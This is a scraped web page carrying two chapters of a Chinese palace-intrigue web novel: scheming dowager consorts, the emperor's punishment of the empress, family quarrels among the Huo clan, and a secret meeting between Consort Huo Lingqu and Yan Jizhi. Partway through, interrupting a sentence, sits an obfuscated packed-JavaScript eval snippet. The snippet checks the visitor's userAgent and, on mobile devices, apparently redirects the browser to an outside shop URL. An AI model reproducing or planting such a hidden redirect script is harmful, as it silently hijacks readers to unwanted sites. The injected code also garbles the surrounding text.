又是这种有劲没处使的憋闷,鞠太妃真烦躁:“你说皇帝到底喜欢什么,女色都不好,想送美人给皇帝吹吹枕头风都吹不起来,咱们以后的日子还过不过了?” “皇帝好权柄!”庄太妃对此何尝不憋闷,太上皇虽然嗜权、好歹美色还能有点用处,哪想儿子们一个两个三个甚至连她的晋王都有不屑美色的倾向;难道兄弟间能传染吗,只因给皇帝和蜀王、魏王多番安排美人都没用,她的晋王就也有样学样? “那还怎么送?”鞠太妃三十九岁比庄太妃小十多岁,在皇宫中虽然快二十二年了也常常喜怒形于色:“以后怎么过?实在不行就推把,我就不信男人不好色。” 庄太妃意兴索然:“在宫里用媚药被查出来是什么下场,皇帝像好糊弄吗?让他突然间热衷女色,皇帝能不起疑,霍家能不起疑?你不怕把自己折进去就去试吧。” “那你说怎么办?”鞠太妃恨得掷果盘,庄太妃淡定问:“你还有没有做别的事?” “霍秀仪折腾半个月都闹不出点水花,我就派人提点她,谁想她竟然得风寒了;她病愈后会不会再报有孕,我也不确定。”事儿不顺心,鞠太妃语气也极差,庄太妃一眼就看穿:“不是霍秀仪感染风寒,是皇帝让她得风寒,皇帝不想看她闹腾。” 又是皇帝,又是皇帝?!鞠太妃忍无可忍抄起摆设砸:“你说,皇帝哪个祖宗像他这样,不好女色还连嫔妃报有孕都不信,他这种德行还让宫里的太妃们怎么活?” 庄太妃很平静:“皇帝哪位祖宗遇到这种事都不会相信,你把皇帝当傻瓜糊弄吗?三个多月没侍寝又被罚闭门思过还禁足后日日闹腾的嫔御突然报有孕,谁信?” “真能当傻瓜糊弄,我还用得着费心思吗?”鞠太妃坐下,睨她冷讽:“你可想清楚,对霍家的阴谋,你不承认也没用,你以为霍家会放过你吗?” 闻言,庄太妃捏佛珠沉默会儿仍未辩驳,衰败的脸庞缓缓扬笑,竟似有种诡异的莫测:“皇帝对郭皇后母子有愧,愧意越深对霍家越不利,你有闲情就帮帮他们。代王是惠宗皇帝仅存的血脉,圣人向来优待。代王的嫡幼子喜欢倪芳华,你有兴趣就用用吧。” 惠宗皇帝是嬴姓皇族第三位皇帝,是肃宗皇帝的兄长,在位九年期间耽于声色宠幸奸佞搅得朝堂乌烟瘴气;惠宗驾崩,肃宗皇帝在大臣们的拥戴下剿灭擅权奸佞,惠宗这脉也只保留下当时年仅一岁的代王,那时候太上皇都才只有四岁呢。 “现在这皇帝要是能像他伯祖惠宗皇帝那般贪恋女色多好,那我还需费什么心思呀。”鞠太妃忍不住抱怨:“圣人到底怎么想的,非得禅位给这种油盐不进的儿子?” “若是按照你的喜好来,嬴家的江山还能传几代?”庄太妃含笑敲打而眉梢蓄尽锋锐,就觉得怎么听都不对劲,原来她这样费心思,心思真不小。 “你看清楚,你只盼能舒服终老而不是想妄图掌控皇帝,若是连这点都不明白,你还是什么都别做了安生念佛吧,省得你把自己作死不算还要将我连累死。” 被砸碎散在地砖上的白釉瓷片洁净莹润,蹿入的明媚阳光划过白釉仿佛能折射出彩辉,漂洋过海而来的金颜香以极清婉沁脾的美妙芳香浸漫,柔化了即将到来的冲突。 77. 第77章 每位太妃裁剪掉四名宫婢合计有二百多人,轮到放出宫的宫人们,愿意的利落些,不情愿的拖泥带水慢吞吞,毕竟出宫后若前路迷茫还不如留在皇宫好;但总归没受到什么阻碍,霍雄鹰这趟差办得顺利。 相比霍雄鹰,步昂在椒房殿进展得就辛苦多了,主要在于皇后娘娘暴怒。 郭皇后恨得都要把牙龈咬出血了,窝囊废,这窝囊废为讨好霍家竟然要杖刑她的皇儿,这种窝囊废活着还有什么用?!她真恨不得这废物丈夫明日就驾崩算了,憋怒到极点时长春宫又要来找事,长春宫一百多个宫婢都是死的吗还要她来给太后做羹汤?! 椒房殿没有安宁,宫中消息传出,建威侯府同样被搅得近乎整座府邸鸡犬不宁,霍家有过之而无不及,连霍擎老太爷都被拽回后院坐镇。 霍家各房老爷和夫人乃至少爷少奶奶和几位姑娘都聚集在老夫人正院的堂屋里,老太爷坐在上座吃枇杷,六十七岁的老夫人抱着曾孙女同坐在上首;霍巨浪托着腮忧伤,他爹穆国公霍秦川似乎更忧伤,反观霍漓江,和老太爷一样,在吃水果。 堂屋里,霍桑柔简直要上房揭瓦,当然,只凭她闹腾不出这样大的阵仗,主要是霍枫叶和霍海啸这位世子爷在陪着闹;且,霍枫叶自幼养在老夫人膝下,霍海啸乃嫡嫡亲的长孙,霍桑柔就罢了,他俩可真是一点没顾忌地往老太太心窝里戳。 霍振羽和霍蓁蓁一同站在父母身后,霍振羽看这堂兄的假模假样在心中冷笑,一个是亲祖母一个是隔十多年才刚重逢的堂妹,谁亲谁疏还用比吗?他爹都还没说什么,用得着他个隔房堂兄来出头吗?这想讨好贵妃的嘴脸也不嫌虚伪。 而对于穆国公的四女儿、府中的六姑娘,看着向来冷峻的嫡兄一反常态,只想着嫡长兄想必很疼爱贵妃堂妹吧,那位素未谋面的三堂姐。 霍秦川忧伤兼无聊地默数过两遍两百个数,耐性用尽,在心里在腹诽这老爹和霍漓江绝对是故意耗着等着他来出头:“行了,看霍漓江多平淡,你们还有啥好闹的?” 霍漓江瞟他眼,这哥绝对故意的。果然,霍桑柔当即被牵引过来转移攻击:“你、你你你你居然像个没事人,我姐还说你最疼她,你这爹就是这样疼爱我姐姐的吗?” “你姐姐不怕蛇。”霍漓江懒撒撒搭腔:“不就是一条蛇嘛,有什么大不了?” “什么,你说什么,有什么大不了?”霍桑柔犹如猫被踩到猫尾巴般炸毛:“突然冒出条长虫来不得把人吓死啊,想想都让人觉得恐怖,你居然说没什么大不了? 况且若是蛇有毒怎么办,若是他们在夜里放蛇就更糟糕了,而且这是条蛇的事吗?自从我姐姐进宫以来都已经被欺负过多少回了,现在放蛇,过些天是不是都要放毒放刀剑了啊,你居然还说没什么大不了,我看你根本就不关心我姐姐。” 霍振羽欲出面被母亲拽住,霍海啸道:“桑柔,叔叔是不拘小节,但五妹有一点说的很中肯,灵渠进宫还没一个月就已经被欺负过几回,都敢往贵妃的寝殿里放蛇,他们还有什么事不敢做,这还能轻轻揭过吗?” 霍舒窈迈进门槛就撞到长兄在发飙,把怒火压压,挪到她娘身边。 穆国公霍秦川说:“陛下已经处置了,大皇子都被打板子了,咱家该进宫请罪谢恩。” “什么,还请罪还谢恩?”霍桑柔瞪圆眼眸几乎要一蹦三尺高:“谢个——”剩下的大堆话全被两个堂嫂捂住,霍二奶奶无奈:“五妹妹,大皇子何等尊贵呀,被罚杖责禁足,这是陛下疼爱贵妃是皇恩浩荡,霍家当然要进宫请罪谢恩。” “大不敬是死罪啊,丫头。”吃完水果,霍老太爷闲着就下下场:“你图痛快,不过脑子地乱飚话,瞧这屋里这么多人,传出去,你有几颗脑袋能砍,不想活了?” 啊啊啊啊啊啊,气死她了!霍桑柔双手捏拳头憋屈地压住要冲出身体的暴怒:“反正,反正不能就这么算了,我姐姐被这样欺负,我绝对不能就这样算了。” “对!”霍枫叶坚定赞同,霍秦川摩拳霍霍斥责:“好啦,霍枫叶,你做叔叔的就不要再跟这俩小辈瞎起哄了。”旋即就被反驳:“爹,什么叫瞎起哄?” “好了,霍海啸,你爹忍你很久了。”霍秦川麻溜打断谴责:“你看看祖母多大岁数了,你看看祖母鬓角的白头发,你怎么好意思怎么能忍心再闹?” 霍海啸丝毫没愧意地婉转:“灵渠若有闪失,二叔您能把建威侯府老少都捅了吧?” 霍漓江配合地嗯,霍桑柔愣下瞧他,霍巨浪默默捂脸,霍秦川瞬间站起:“好了,爹我要进宫向陛下请罪谢恩了,你们自己看着办。霍漓江,我们走!” 穆国公霍秦川溜之大吉,霍漓江站起来悠哉哉跟着,霍舒窈和霍蓁蓁看得傻眼,连国公夫人崔氏都想捂脸了。霍桑柔自然更差点傻眼,居然就这样走了,搞什么呀,她愣下急忙要去追时又被堂嫂们拉住,老太爷吩咐:“好了好了,散吧。” 霍桑柔憋屈地再捏拳头,国公夫人率众告退又令二儿媳和三儿媳送五姑娘回屋。 刚退出堂屋,霍海啸大步往前走很快把这大家子甩在身后,霍枫叶紧随其后;霍舒窈悄咪咪猫步走到二哥身边,霍巨浪随口奇怪:“鬼鬼祟祟的,干嘛呢?” 舒窈姐姐又觉得好像也没啥可说,摇摇头:“没,没什么,没事啊。” 而继霍秦川哥俩漓江出府、霍海啸出府之后,第三批出府的霍家二夫人佟梦姿,她带着儿女们要回趟娘家。与此同时皇宫的步昂统领终于完成差事,在御前禀奏。 “晌午时太后传召皇后娘娘说想喝儿媳妇亲手烹调的蛇羹,皇后事多烦扰便没有理会,太后又派女官率领宫人去椒房殿,要求娘娘跪听《女诫》训示,再去长春宫请罪;皇后娘娘不愿意应允,椒房殿和长春宫的宫人大起冲突僵持不下。” 故,办完差事,步统领还得揽份差事在皇帝御前请罪:“恭请陛下裁决。” “裁决?”正徽帝嬴忱璧想发笑,原来他自问清楚郭皇后的秉性都高估她了,郭氏是既不知婆母给儿媳妇立规矩为何物更连儿媳妇对婆母应有的孝敬都不知了。 又是违抗皇帝旨意又是对抗太后婆母,郭皇后可真是随心所欲。皇帝刹那间涌起愤怒,他这些年到底在宽容些什么货色,他眼瞎心盲头脑昏聩了吗?! “此事还需朕来裁决?”嬴忱璧哼笑声即冷冷传令:“厚运,你亲自去传朕口谕:看来郭皇后做皇后这几年过得当真安逸,安逸得连做儿媳妇的本份都抛诸脑后了。 椒房殿管事不思规劝皇后孝敬婆母反而任由皇后不孝,其心可诛,念在初犯,杖刑三十以儆效尤。皇后聆听过《女诫》训示,厚运你亲自送皇后去长春宫赔罪。” 御前总管蒋厚运应得毫不含糊,心里可打哆嗦,陛下这像是要厌弃皇后呀。 步统领同样有此感觉,同样没有任何惊讶疑虑的情绪表现出来,恭敬地再呈上个竹筒;是椒房殿的眼线呈报,不敢口述,只能将内容笔述好禀呈陛下,他也没看过。 嬴忱璧从竹筒里取出纸片,慢条斯理详细看遍,哪怕不阅览都清楚会是些什么内容。 一道黑影自橙黄的帷幔后面闪现跪地,是皇帝的暗卫。嬴忱璧启用暗卫就是想知道哪位太妃在背后教唆大皇子,他没有把握,不然就给贵妃答案了。 暗卫亦是取竹筒呈禀,嬴忱璧取出纸片,阅毕后真想笑了:真难为鞠太妃费心,他这个皇帝既不像惠宗更不能当傻瓜糊弄要害鞠太妃费尽心思。 “步昂,你找只木匣子把这几张纸装起来,去太微宫呈给太上皇。” 步统领领命告退,经兴安门出皇城时和穆国公打个照面还被拉着寒暄了会儿;穆国公霍秦川套出点最浅的讯息后笑哈哈放行,边往皇城里走边估量皇帝的怒火。 虽然同进皇城,但没走同座门,霍漓江走昭德门进内廷去长春宫,他会走兴安门是还得就贵妃偷藏晏霁之衣裳的事向皇帝请罪,这点事也犯不着兄弟俩一起。 他们哥俩还挺凑巧,霍秦川碰见步统领,他弟弟在昭德门碰见了霍雄鹰在安排要放出皇宫的二百多名宫人离宫;叔侄俩简单聊聊,霍漓江再赶往长春宫看闺女。 花瓶里几枝粉艳透红的桃花瓣招展,西斜的日晖浮掠而过,落就点点光斑仿佛嫩黄花蕊延伸的触角。霍灵渠怀抱包裹盖条绒毯靠在美人榻里看光影中的桃花,神情呆迷。 霍漓江搬只锦凳坐在美人榻旁,瞧闺女的萎靡样真不得劲:“你童年没玩过长虫?” “你带我玩过,六哥哥他们也带我玩过,可童年时不怕,现在就不能怕了吗?”霍灵渠吸吸鼻像抽掉养料的花儿:“我歇午觉时做噩梦梦到有蛇在吓我,我都吓醒了。” “爹爹看你就是找借口,你想情郎才是真的。”霍漓江指使道:“给你个任务让你打起精神来,好好观察皇帝最近出什么事了,怎么突然间像对皇后情义全消?” “这事我知道,皇帝说他最近反思,发现他对郭皇后宽容得竟让他像笑话;他还对比,觉得若是太上皇摊到这种皇后能容她多活半日都嫌多,然后皇帝就遭反噬了。”霍灵渠道:“他还让我找个时机帮他宣布:皇帝今后不会再留宿椒房殿。” 还能有这种好事?霍漓江有点惊讶,把这事搁一边,关心闺女:“真难受啊?” 霍灵渠闷闷应,霍漓江琢磨:“爹去请旨让贵妃省亲,接你回家住两天?” “我想见晏霁之。”霍灵渠立时要求,霍漓江被闺女噎得险些呛到:“你想见他做啥呀,爹说你就是在想情郎、你还不承认,你还想和那混球在霍家鬼混两天吗?” “我没有想再和他燕好,我就想见见他抱抱他,我想他了。”最后四字念得别样惆怅,但也很纯粹,堪比孩童思念父母般的挂怀。这些年养出来的依赖,霍灵渠眼下就是想要他:“歇午觉时我真的有做噩梦,我梦到有蛇在吓我,我就被吓醒了。 我吓醒后都有点疑神疑鬼,生怕又从哪里蹿出条长虫来,我还想过夜里跟姑母睡,可想想又觉得不自在,我要抱着晏霁之才舒服;而且有他抱我,我做噩梦也不怕。” 霍漓江顽强抵御:“呵呵,是谁说只要有爹爹在,灵渠什么都不怕。” “我五六岁时还能蹭爹爹的被窝,现在能吗?”霍灵渠哀怨:“我也不想牵连晏霁之,可我近几年做噩梦醒来都有他在我身边,我习惯了,我还没戒掉能怎么办?” “抱你妹妹不行吗?”霍漓江看闺女这没出息的德行真嫌眼睛疼,霍灵渠反问:“你哥哥能代替我母亲的话,你还要我母亲做什么呀,你抱着霍秦川不就好了吗?” 霍漓江脑门冒出三条黑线,忍住纠正的冲动妥协:“好好好,爹给你们打掩护。” 一点没不好意思的,霍灵渠从包裹里取出衣裳给她爹就赶爹:“我想睡会儿,你走吧。” “你拿铜镜照过自己吗?”霍漓江谴责:“人家是娶媳妇忘娘,你是想男人忘爹啊。” “我母亲做你媳妇,你肯定忘爹娘,你为我母亲要死要活的时候想过你爹娘吗,你怎么好意思谴责我呢?”霍灵渠宣告:“祖父说啦,咱家小宝贝有臭毛病就是随霍漓江。” 霍漓江无端生起感触,抬手揉揉女儿的脑袋,笑道:“灵儿睡吧,你睡着了,爹再走。” “爹爹想母亲了?”霍灵渠明显能感觉到,童年记忆里爹爹怅惘时就是想她母亲时。 “没有,爹爹就是忽然有点恍惚;灵渠在皇宫里不要怕,你母亲在天上保佑你。” 窗前红日在泛金的光影里滑低,光影在思念的余韵里又仿佛被牵得格外绵长。 霍漓江静静看着女儿沉浸在睡梦里,过许久,他从回忆和现实的交织里清醒,站起来,拉过绒毯给孩子盖盖好;一转身,竟见皇帝站在他身后,欲要行礼被制止,嬴忱璧轻声道:“莫吵醒贵妃,国舅退下吧,朕来守着贵妃就好。” 猜想他闺女应该不会说梦话喊那混球,霍漓江顺从告退离开,去找太后妹妹。 穆国公霍秦川已经在长春宫了,他陪着皇帝过来的,他们和郭皇后恰好还就是前后脚。皇后给婆母烹调蛇羹时吓晕了,一刻钟前刚由宫人们扶上轿辇送走。 喧嚣整日的皇城伴着夕阳西下的温柔逐渐平静,这场风波的余韵则在皇宫外扩散。 皇帝派步统领送往太微宫的木匣与众太妃求做主的哭诉前后送到,太上皇原想管管的,哪想到居然还能收到这么个意外惊喜,气得他抬手就把手边的鎏金香炉砸了。 天黑前,太微宫的最新动向即飞出传入勋贵官员府邸,显国公府属于第一批收到行列,故此,平原大长公主还没添把火就被浇冷水:“陛下已经稳住圣人了。” “稳住?”平原不信:“笑话,皇宫里多少太妃,没事都能掀起三层浪,皇帝裁剪宫人这样打她们的脸,这是能轻易平息得了的吗?” “你自己看啊,看圣人会否出面?”显国公懒懒的,平原迟疑:“你收到什么消息了?” “陛下派大统领给太上皇送了件东西,圣人看过后很是生气。”显国公倒杯茶,淡淡道:“圣人的怒火会冲着谁?哼,当然是冲着在皇宫养老的太妃们,你想添把火,不打探清楚,你不怕又引火烧身?再烧一回,可就没那么好运了。” “东西?”平原大长公主烦躁皱眉:“什么东西?” “不知道,没人知道,知不知道都无关紧要,知道圣人看过后大怒就够了。” 平原憋闷退让步:“就算暂时不往后宫里添把火,建威侯府呢,皇后颜面扫地,大皇子被杖打,建威侯府还能忍吗?你赶紧随便去郭家做点文章都够明早闹得不可开交了。” 显国公没接话,痛快出屋,在平原看来自然是丈夫听她话去筹备了,心情总算好点。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459269|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 类似的提议还在魏王府、晋王府、英王府、佟尚书府。 英王妃佟梦娴悲催,她揣着主意找丈夫可连晏墉的书房都没进就被赶走;晋王派人出去安排,等着明日早朝看好戏;佟大老爷则只在老父病榻前兴致勃勃。 拢在灯罩中的烛火清晰明亮,照见靠在床头的佟尚书枯败老脸上那么清晰的年迈痕迹,照见佟梦奭略微肥胖的脸上闪烁着油腻而奇异的光泽,他只顾着自己兴奋地滔滔不绝,根本没注意到老父眼中的苦涩和失望颓唐,一时间屋中有种互不相融的诡异和谐。 佟图匡撑坐着又靠靠好,再三犹豫还是应好而不是打击,寥寥赞过便让长子回吧。 处得和睦,佟梦奭也就恭顺地告退离开。这厢,佟梦奭没受到打击,那厢魏王府,任逍可被魏王打击得够呛。整下午计谋百出,魏王表哥回府来,她就找过去献计。 哪想,魏王又是不表态等同否定的要赶她走,任逍难以置信:“表哥你到底在忍什么,这么好的机会难道你还要让它白白溜掉吗?” 魏王忍下,送瘟神般表示:“建威侯是只鹌鹑,他不敢,添多少火都没用。” “怎么可能?!皇后被削减用度裁剪宫婢,大皇子更是被杖打禁足,嫡长皇子只因这么点微不足道的小事就被杖打,建威侯若是都还能忍让,至于跟霍家反目吗?”任逍驳斥:“郭家既痛恨霍家强抢后位都闹成仇了,建威侯怎么会再忍这事?” 魏王应对:“回你自个儿屋里吧。”惹得任逍憋闷愤恨得就把这话当做耳旁风:“还有,上回我跟你说派几个人去霍桑柔身边监控她,你想好没有,这有什么可犹豫,这俩姐妹回到霍家就是鱼入大海,若再不派人看着,岂不是真要让她们溜走了?” “出去!”魏王说,任逍真真恨极了他这不拿她当回事的态度:“表哥?!” “王妃应该就快过来了,你想让王妃亲自送你走?”魏王冷下脸加重语气,任逍被刺激得愈加逆反:“还有大表哥留下来的兵符,你找到没有,找到了你就拿出来用啊,还没找到你就派人去找啊,为什么你对找兵符都是副心不在焉的样子?” “出去!”魏王冷冷告诫:“趁我耐心告罄前,回你自己屋里去。” 耐心告罄又怎样?!任逍憋着快要炸的窝火愤恨又是亲表兄妹哪会轻易犯怵:“你还记得任家是你的外祖家、任家当年为你的付出和牺牲吗?我们任家曾经是后族是侯爵之家呀,现在呢,现在任家变成乡野平民了,谁害得? 当年悼太子为让河间军留给你十二年,生生把外祖家贬谪成平头百姓,11年了,任家窝在犄角旮旯里都快满11年了,全家希冀着你能振奋出人头地,可你呢——” “来人!”魏王拍桌而起,拔高的怒吼惊得刚到书房外的魏王妃忐忑地带人推门而入,更惊得憋恨的任逍彻底爆发:“你除了把我关在屋里禁足还能做什么,有本事,你就把兵符找出来把兵符拿出来给我看啊!”说着,她上前抄起桌案头的摆件就砸。 任逍抄起东西就砸,魏王盯着她的眼神简直犹如冰火两重天,当任逍抄起第三样东西,王妃忙冲过去拦住她把笔筒抢过来,说尽好话安抚住,让奴婢们送表姑娘回屋休息。 魏王余怒未消甩袍坐下,王妃把笔筒放好,进屋来清理碎片的奴婢们清扫干净后告退,她再做和事佬:“王爷,表妹直率还是个小孩家心性,您切莫与她一般见识。” “禁足到月末吧。”魏王气息未稳地端起茶盅喝茶平复,王妃识趣应承,视线落向摆在桌案的白玉笔筒,笔筒上绘着碧草青青晴空好,湖光潋、泛舟采莲扑蝶笑,是幅活泼画卷,出自魏王已故外室的手笔,魏王用这笔筒以来从未更换过。 “这笔筒还是忘忧妹妹留下来的遗物呢,忘忧妹妹可怜,当年在姑苏,直到她病故都没入府来有个名份;咱们举家回京,妾身去别院收整箱笼又没能留下多少她的遗物,若不然,王爷也能多两分念想。不过忘忧妹妹在天有灵,知道王爷始终惦念着她,定然安息了。” 魏王夫妇在授康二十年三月成亲,距今已有13年,相比皇宫中的帝后夫妻如今闹得连在人前的表象都快维持不住了,他们夫妇十多年来相敬如宾,而且魏王给足正室的体面尊重更是对众妾室淡淡的都没什么宠妾,魏王妃过得很舒心。 可舒心而没有情爱,魏王妃心底终是有憾。 魏王曾有过一位外室,是许多年前的往事了,可她始终忘不了,是他们定居姑苏城时,魏王有过位外室,她多次向丈夫提议把养在外面的那位妹妹接进府里,魏王不允,连她想见见这外室,魏王都不答应,她偶尔想莫非是防着她容不下吗? 一个她从未谋面的丈夫已故外室,当然不是王妃心中刺,只是终归有些不同。 魏王随意嗯声,放下茶盅道:“听说侯瞻渥在闹着要去找他媳妇?” “武襄侯府中是有风声传出来,升平姑母好像正哄着表弟。”王妃笑答,魏王交代道:“辽阳前些天收入两名女死囚,其中一个面目烧伤,王妃过几日请姑母喝茶吧。” 魏王妃讶然:“王爷?王爷您是指假冒的、假冒的那两位被关押在辽阳?” “不确定,但嬴忱璧介入了,人绝不会在霍家,侯四往霍家找是找不到他媳妇的。” “嗳。”魏王妃不由得感慨:“真没想到,这瞻渥表弟竟也是痴情人。” “痴情?”仿佛听到个笑话,魏王哼笑:“痴情,有种他就陪着殉情吧。” 魏王妃心头一跳,她张张唇,只是终究还是什么都没说。 第二日早朝,针对昨日皇宫里闹出的事端,在显国公魏王等人的意料,建威侯没吭声,把晋王憋得险些心口疼,活该被霍家往死里欺负,郭家等着窝囊死吧。 是夜,晏煦之出城看望堂哥还不忘描绘早朝的情景:“早朝时没人拿昨天的事做文章,建威侯脸都绿了,大皇子的老师和几个御史好心宽慰他还被他阴阳怪气地针对。 可他怎么就不想想,陛下已经雷霆处置了,还能怎样做文章?大皇子被杖刑更是污点,拿到朝堂上议论对他能有好吗?此事唯有让事态尽快平息才是对皇后母子好。” 晏霁之轻抚手中的衣裳,贵妃拿走又刚送回来的这件,他想看看,让堂弟给他拿过来。此刻凝视着旧衣,在将泛起苦涩时他及时按住,喃喃问:“贵妃还好吗?” “据说受到惊吓还没缓过来,昨日就有些浑浑噩噩,今日在卧榻调养。”但皇宫里真真假假的谁能说得准,晏煦之看他堂哥才真病得不轻:“倒是你,你好些没有?” “四月前应该能养好吧。”晏霁之反宽慰:“你回城吧,夜深了,早些回府歇息。” 晏煦之默下,老生常谈般劝过堂哥宽解忘怀后离开;晏霁之送到草庐前,马蹄声消失,他还靠在柴门前凝望,月光清辉流转,茕茕孑立的身影那般孤寂。 78. 第78章 晨间有清风徐徐来,京畿郊外十里长亭,遍地葱茏绝胜天际蔚蓝。 挂在亭檐的护花铃随风轻晃发出清脆铃响,晏霁之驻足凝视仿佛在欣赏歌声。 一辆青帷马车驶入视野,晏诺确认过蜀王府的标记后去禀告,晏霁之闻言,涣散的眼神重新聚焦,昨夜他收到封信笺:明早辰时末,西郊十里长亭,蜀王。 晏霁之转身,看青帷马车驶近,在距他约三丈远处停下,他打量赶车的两位应是护卫,再看他们搬凳放在车厢前,眼底疑惑闪过,蜀王这样娇气? 婢女走出车厢,再迎正主,哪儿是蜀王,竟是本应在皇宫里的霍贵妃。 霍灵渠搭着宫娥的手臂走下马车,在草地站定,她双手握紧包袱,忐忑又矛盾,既怕他看不起她甚至反感嫌恶又觉得不会,忸怩抬眸看眼晏霁之又很快垂眸。 晏霁之惊讶得都有那么瞬间不敢置信的呆滞,不自觉涌起剧烈狂喜又在瞬间压制,他弯弯唇浮现丝玩味笑意,好似顷刻间风流绝伦的晏霁之就又回来了:“蜀王何意?” 兼做车夫的两位护卫没有言语,抱拳告辞,婢女上马车后,他们扬鞭而去。 晏诺自觉隐遁,这方天地唯他们两人,晏霁之满心神凝视站在前方不远处的女人,触手可及的如似梦中般叫他生出种患得患失的恐慌,好半响才走近她:“灵渠?” 霍灵渠复而抬头,发现他竟满脸掩不住的清瘦憔悴,心里咯噔声,想碰碰他的脸颊可手伸到半空中又僵住,迟疑下终是收回手;明明那么想念明明未见时毫不犹豫,可真见面了她反而不敢,总觉得她现在不该碰、也没有资格再触碰这个男人。 “是我,我想出宫散散心就跟着他们离开皇宫了,你清减好多,你生病了吗?” “四天前关雎宫被放长虫,吓到了吧?”相较于霍灵渠的刻意客套,晏霁之自然得很:“怪我把你养得娇气了,屋里蹿出条长虫来,你该有心理阴影了。” “有,”霍灵渠闻言不自觉委屈,她没有想跟他撒娇,可男人一柔情,她就没压住惯性:“我住长春宫都有些疑神疑鬼,生怕又有人想害我又从屋里冒出条蛇来。” 霍灵渠的坚强仅限于没人哄时,童年时受到惊吓,六岁的大姑娘她都能蹭爹爹的被窝;进英王府后,晏霁之慢慢把她的娇毛病给养回来了,她害怕时得寸步不离抱着她哄。 今生他俩还分榻睡时,她夜里做噩梦吓醒,晏霁之都把她抱进床铺里哄,当然清楚她现在的德行,他更没想过她能冒着风险溜出皇宫来见他,于是乎,心里一高兴他嘴皮就溜了:“钻你姑母的被窝都不行吗?非得出宫来找我,要我安抚你?” 霍灵渠沉默下,疏离道:“是我搅扰你了,你派人去通知我爹来接我吧。” “蜀王的信拿来,我看过人家是多轻易就骗了你,我再考虑是否该通知霍家。”晏霁之故意逗她,霍灵渠拒绝:“你只管去通知我爹,看信作甚?” “这封信见不得人吗?”晏霁之愉悦揶揄好似病容全消,霍灵渠昂首摆出凛然样,绝对是副你若无心我便休的架势:“何必多言,你我如今桥归桥路归路,是我叨扰你了。” 晏霁之险些憋不住乐,作势伸手威胁:“信交出来,否则我可要动手抢了。” 霍灵渠顿时被噎住,半响都没憋出反击,郁闷得磨磨蹭蹭着取出信来递给他。 “我是你母亲的亲姐姐,你若信得过,按我安排、我接你出宫,让你和——”看到情郎二字,晏霁之语调拖长充满挑逗意味:“和情郎相聚三四天。” “他们非要把你看做我的情郎,我有什么办法?”霍灵渠狡辩:“我在皇宫里闷得慌,本就在想出宫散心,他们自愿帮我,为何要拒绝?信看了,你去通知我爹吧。” “信给我吧,我拿去烧掉。”晏霁之径直把信收起来,再向她靠近步,深深凝视眼前害他魂牵梦绕心念俱灰的女人,不再逗她:“你怎么溜出皇宫的?” 霍灵渠执拗惜言:“你只需去通知霍家来城郊接我,你走吧,我不牵连你。” “若我想被你牵连呢?”晏霁之桃花眼含笑,眼中柔情似比他背后的阳光盛,瞬间击溃霍灵渠刚筑起的防御叫她再难强硬,然她若能强硬又何苦巴巴溜出皇宫来。 “我是不是没脸没皮的,进宫前我都在劝你忘掉我早些娶妻,现在却又来纠缠你。” “傻瓜,是我纠缠你,你走后,我整个人都像废掉了,我想你想得心肝都疼了哪还能再放过你。”晏霁之抬手抚过烙印在心间的容颜:“想我没?” “只因我离开吗?”可能她心里隐约猜到了,霍灵渠没有震惊,可猜测的到底不同,他亲口承认直叫她沉闷难受:“你这样消瘦只因我离开了吗?” 晏霁之将女人拥住,久违的满怀拥抱都让他觉得心酸:“我自己也没想到,你离开以后,我的心像枯涸了,看这世间都成灰白,倒是突然能理解了,前世里,你爹明明能避过,又何苦赴死?是他已没有生趣,还不如和哥哥妹妹在黄泉路上做个伴。” 霍灵渠只觉得自己不该再碰这个男人而从来没想过抵触晏霁之的亲近,她也抵抗不了,不提没有见面前她就在想念他的怀抱,这会儿她眼酸得几近飚泪又哪还顾得上。 “你何苦呢,我母亲刚过世那会儿我爹颓废得差点丧命,祖父说,若非当时爹爹带着还在襁褓中的我都走不回家里。慧极必伤、情深不寿,你何苦学我爹爹?” “没有早早要孩儿,你做贵妃是我自负的报应,我认。”若细品,晏霁之这二十个字竟有丝释怀坦然意味,他略微松开霍灵渠,牵住女人的手带她往凉亭里走。 他们走进长亭在鹅颈椅落座,晏霁之再抱她入怀,细细端详她的神色,又忍不住抬手摩挲她的眉眼:“在皇宫里这些天可还适应,京畿城中的流言颇盛,皇宫中有流言指摘你吗,有没有听我的话,全不把那些流言当回事儿就看他们当小丑?” 霍灵渠心酸酸的,忍不住扑他怀里,轻轻嗯声。 “你祖父是应对流言的高手,若是那些流言影响到你了,切莫憋心里,多向你祖父取取经或者请太后整治,霍太后疼爱你,定然会依你。”晏霁之又抚她的秀发,霍灵渠再嗯声,晏霁之被带出些许涩意,克制道:“日子,适应就不难过了。 你还得在皇宫里待两三年,尽量适应宫中生活,你在宫里才能好过些,若有不舒服就让太后给你做主,不要怕、也不要慌,再过几年,我就接你出宫了。” 霍灵渠直想哭,终是不想扫他的兴说她以后就跟他没关系了,仍然嗯声。 晏霁之把怀里的女人抱抱紧,压抑心里翻涌的酸涩,缓和些了,他再安排:“这几天,我们去燕山别庄住,燕山别庄只有彧伯在,彧伯不会走漏风声,放心。 我会让晏诺接彧伯暂时离开,就我们两个人住,但洗衣做饭这些得我们自己来了。你的贴身衣物,让晏诺回英王府捎两身不是不行,就怕走漏痕迹,让晏诺去成衣铺买更不妥当,要么就算了,我在山庄里有换洗的衣物,你穿我的。” 最后四字叫霍灵渠俏脸微微酡红,她出皇宫来找他,再拒绝就矫情了,可如此不避讳,好像她就是为找他偷欢而来,她怎么都觉得尴尬别扭。 “我用你的衣物也不妥当,你让晏诺买些针线和布料,我自己做两身小衣吧。” “把贴身衣物变成即将做贴身衣物的布料就能合适吗?”晏霁之不容置喙道:“你的贴身衣物除我之外不能被其他任何男人触碰,哪怕是你爹都不行,对吗?” 霍灵渠真没觉得有何不对,当然啦,她若是想到反驳保管还能被驳倒;她闷闷地嘟嘴,故意挑刺:“我祖父说燕山是你们晏家的藏宝库,你带我去看看你家的宝藏。” 晏霁之乐了,捏捏她的小脸蛋打趣:“还有吗,你祖父还跟你说什么了?” 